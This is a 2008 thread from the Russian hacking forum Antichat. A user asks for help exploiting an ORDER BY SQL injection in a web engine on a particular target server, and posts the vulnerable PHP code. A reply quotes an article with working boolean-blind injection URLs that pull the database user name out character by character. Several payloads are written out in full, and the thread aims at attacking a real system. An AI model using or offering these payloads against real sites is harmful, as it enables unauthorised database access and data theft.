ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Инъекция в Order By
  #1  
Старый 10.06.2008, 14:02
Аватар для ty13r
ty13r
Познающий
Регистрация: 18.07.2007
Сообщений: 40
Провел на форуме:
72605

Репутация: 13
Отправить сообщение для ty13r с помощью ICQ
По умолчанию Инъекция в Order By

Копаясь в одном движке нашел такую инъекцию:
Код:
SELECT * FROM table WHERE 1 order by [SQL]
Т.к. union в данном случае не применить то я попытался провести слепую инъецию по методу more than 1 row описанную здесь :
Код:
SELECT * FROM table WHERE 1 order by (select if(1=2,1,(select 1 union select 2)))
Но такой запрос не выдает ошибки, т.к. таблица содержит всего одну запись и видимо оптимизатор MySQL вообще не выполняет то что написано после order by
Есть ли какие-то приемы или хитрости, чтобы выражение выполнилось??
 
Ответить с цитированием

  #2  
Старый 10.06.2008, 14:38
Аватар для LEE_ROY
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме:
1917742

Репутация: 541


По умолчанию

выложи всю строку с запросом включительно из исходника
 
Ответить с цитированием

  #3  
Старый 10.06.2008, 14:49
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Такс берем мою https://forum.antichat.ru/thread43966.html стататью в руки и пролистываем до пункта 3.4 Иньекция после ORDER BY и читаем:

Цитата:
3.4 Иньекция после ORDER BY

Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
http://xxx/news.php?by=(id*1)
http://xxx/news.php?by=(id*-1)
Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это за истину:
Код:
Первая новость
Вторая новость
Третья новость
А во второй ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=112,1,-1))
Чтож вывелся обратный порядок новостей => ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
Опять ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=114,1,-1))
О! Прямой порядок новостей => истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.
PS пропарил насчет одной записи в таблице... соответственно выше написанное работать не будет. Как и вообще это безнадежный случай.
__________________
Кто я?..

Последний раз редактировалось I-I()/Ib; 10.06.2008 в 14:54..
 
Ответить с цитированием

  #4  
Старый 10.06.2008, 14:54
Аватар для ty13r
ty13r
Познающий
Регистрация: 18.07.2007
Сообщений: 40
Провел на форуме:
72605

Репутация: 13
Отправить сообщение для ty13r с помощью ICQ
По умолчанию

Код:
if (isset($_GET["direction"])) {
    $direction = $_GET["direction"];
  }
  if (isset($_GET["page"])) {
    $page = $_GET["page"];
  }

  if (!isset($_GET["sort"])) {
    $version_direction = "void";
    $sort = "server_name";
  } else if ($_GET["sort"] == 'server_version') {
    $version_direction = "server_version";
    $sort = "server_version_major ".$direction.", server_version_minor ".$direction.", server_version_release ".$direction.", server_version_build";
  } else {
    $version_direction = "void";
    $sort = $_GET["sort"];
  }

  if ((!isset($_GET["showgroup"])) or ($_GET["showgroup"] == 'all')) {
    $showgroup = "all";
    $group = "WHERE 1";
  } else if ($_GET["showgroup"] == 'Private') {
    $group = "WHERE server_ispname='$showgroup' OR server_ispname=''";
  } else if ($_GET["showgroup"] != 'Private') {
    $group = "WHERE server_ispname='$_GET[showgroup]'";
  }

  include("tpl_listing_top.php");

  if (isset($_GET["direction"])) {
    $pagedirection = $_GET["direction"];
  }

  if (empty($pagedirection)) {
    $pagedirection = "asc";
  }

  if (empty($direction)) {
    $direction = "asc";
  }
  if (empty($page)) {
    $page = 1;
    $pagestart = $page -1;
  } else {
    $pagestart = (($page -1) * $setting["perpage"]);
  }

  $serverquery = query("SELECT * FROM $dbtable1 $group");
  $servercount = number_format(mysql_num_rows($serverquery));

  $request = query("SELECT * FROM $dbtable1 $group order by $sort $direction, server_name LIMIT $pagestart,$setting[perpage]");
собственно инъекция либо в $sort либо в $direction
Инъекию в $_GET[showgroup] не рассматриваем так как на искомом серваке включено magic_quotes
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Файловая инъекция + автоматизация процесса BestOFtheBest Уязвимости 2 23.12.2007 03:33
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL инъекция в сервере MySQL k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ